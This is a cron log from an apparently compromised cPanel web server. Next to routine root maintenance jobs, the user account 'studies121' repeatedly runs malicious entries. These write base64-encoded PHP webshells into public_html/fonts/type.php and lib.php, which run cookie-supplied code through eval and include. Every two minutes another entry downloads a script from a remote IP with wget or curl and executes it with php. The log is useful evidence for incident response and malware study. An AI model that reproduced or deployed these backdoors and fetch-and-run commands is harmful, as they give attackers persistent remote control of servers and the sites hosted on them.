Sep  7 08:49:01 ip-184-168-122-23 CROND[27989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:49:01 ip-184-168-122-23 CROND[27991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:49:01 ip-184-168-122-23 CROND[27990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:50:01 ip-184-168-122-23 CROND[28106]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 08:50:01 ip-184-168-122-23 CROND[28109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:50:01 ip-184-168-122-23 CROND[28111]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 08:50:01 ip-184-168-122-23 CROND[28110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:50:01 ip-184-168-122-23 CROND[28114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:50:01 ip-184-168-122-23 CROND[28116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:50:01 ip-184-168-122-23 CROND[28115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:50:01 ip-184-168-122-23 CROND[28117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:50:01 ip-184-168-122-23 CROND[28112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:51:01 ip-184-168-122-23 CROND[28224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:51:01 ip-184-168-122-23 CROND[28225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:51:01 ip-184-168-122-23 CROND[28223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:51:01 ip-184-168-122-23 CROND[28222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:52:01 ip-184-168-122-23 CROND[28328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:52:01 ip-184-168-122-23 CROND[28330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:52:01 ip-184-168-122-23 CROND[28333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:52:01 ip-184-168-122-23 CROND[28332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:52:01 ip-184-168-122-23 CROND[28335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:53:01 ip-184-168-122-23 CROND[28434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:53:01 ip-184-168-122-23 CROND[28435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:53:01 ip-184-168-122-23 CROND[28436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:53:01 ip-184-168-122-23 CROND[28437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:54:01 ip-184-168-122-23 CROND[28628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:54:01 ip-184-168-122-23 CROND[28631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:54:01 ip-184-168-122-23 CROND[28629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:54:01 ip-184-168-122-23 CROND[28630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:54:01 ip-184-168-122-23 CROND[28632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:55:01 ip-184-168-122-23 CROND[28814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:55:01 ip-184-168-122-23 CROND[28817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:55:01 ip-184-168-122-23 CROND[28815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 08:55:01 ip-184-168-122-23 CROND[28816]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 08:55:01 ip-184-168-122-23 CROND[28818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:55:01 ip-184-168-122-23 CROND[28820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:56:01 ip-184-168-122-23 CROND[28937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:56:01 ip-184-168-122-23 CROND[28939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:56:01 ip-184-168-122-23 CROND[28938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:56:01 ip-184-168-122-23 CROND[28940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:56:01 ip-184-168-122-23 CROND[28941]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:57:01 ip-184-168-122-23 CROND[29040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:57:01 ip-184-168-122-23 CROND[29042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:57:01 ip-184-168-122-23 CROND[29043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:57:01 ip-184-168-122-23 CROND[29044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:58:01 ip-184-168-122-23 CROND[29177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 08:58:01 ip-184-168-122-23 CROND[29179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:58:01 ip-184-168-122-23 CROND[29180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:58:01 ip-184-168-122-23 CROND[29181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:58:01 ip-184-168-122-23 CROND[29182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 08:59:01 ip-184-168-122-23 CROND[29306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 08:59:01 ip-184-168-122-23 CROND[29309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:59:01 ip-184-168-122-23 CROND[29310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:59:01 ip-184-168-122-23 CROND[29311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:00:01 ip-184-168-122-23 CROND[29528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:00:01 ip-184-168-122-23 CROND[29529]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  7 09:00:01 ip-184-168-122-23 CROND[29530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:00:01 ip-184-168-122-23 CROND[29531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:00:01 ip-184-168-122-23 CROND[29535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:00:01 ip-184-168-122-23 CROND[29538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:00:01 ip-184-168-122-23 CROND[29536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:00:01 ip-184-168-122-23 CROND[29537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:00:01 ip-184-168-122-23 CROND[29542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:01:01 ip-184-168-122-23 CROND[29674]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 09:01:01 ip-184-168-122-23 CROND[29675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
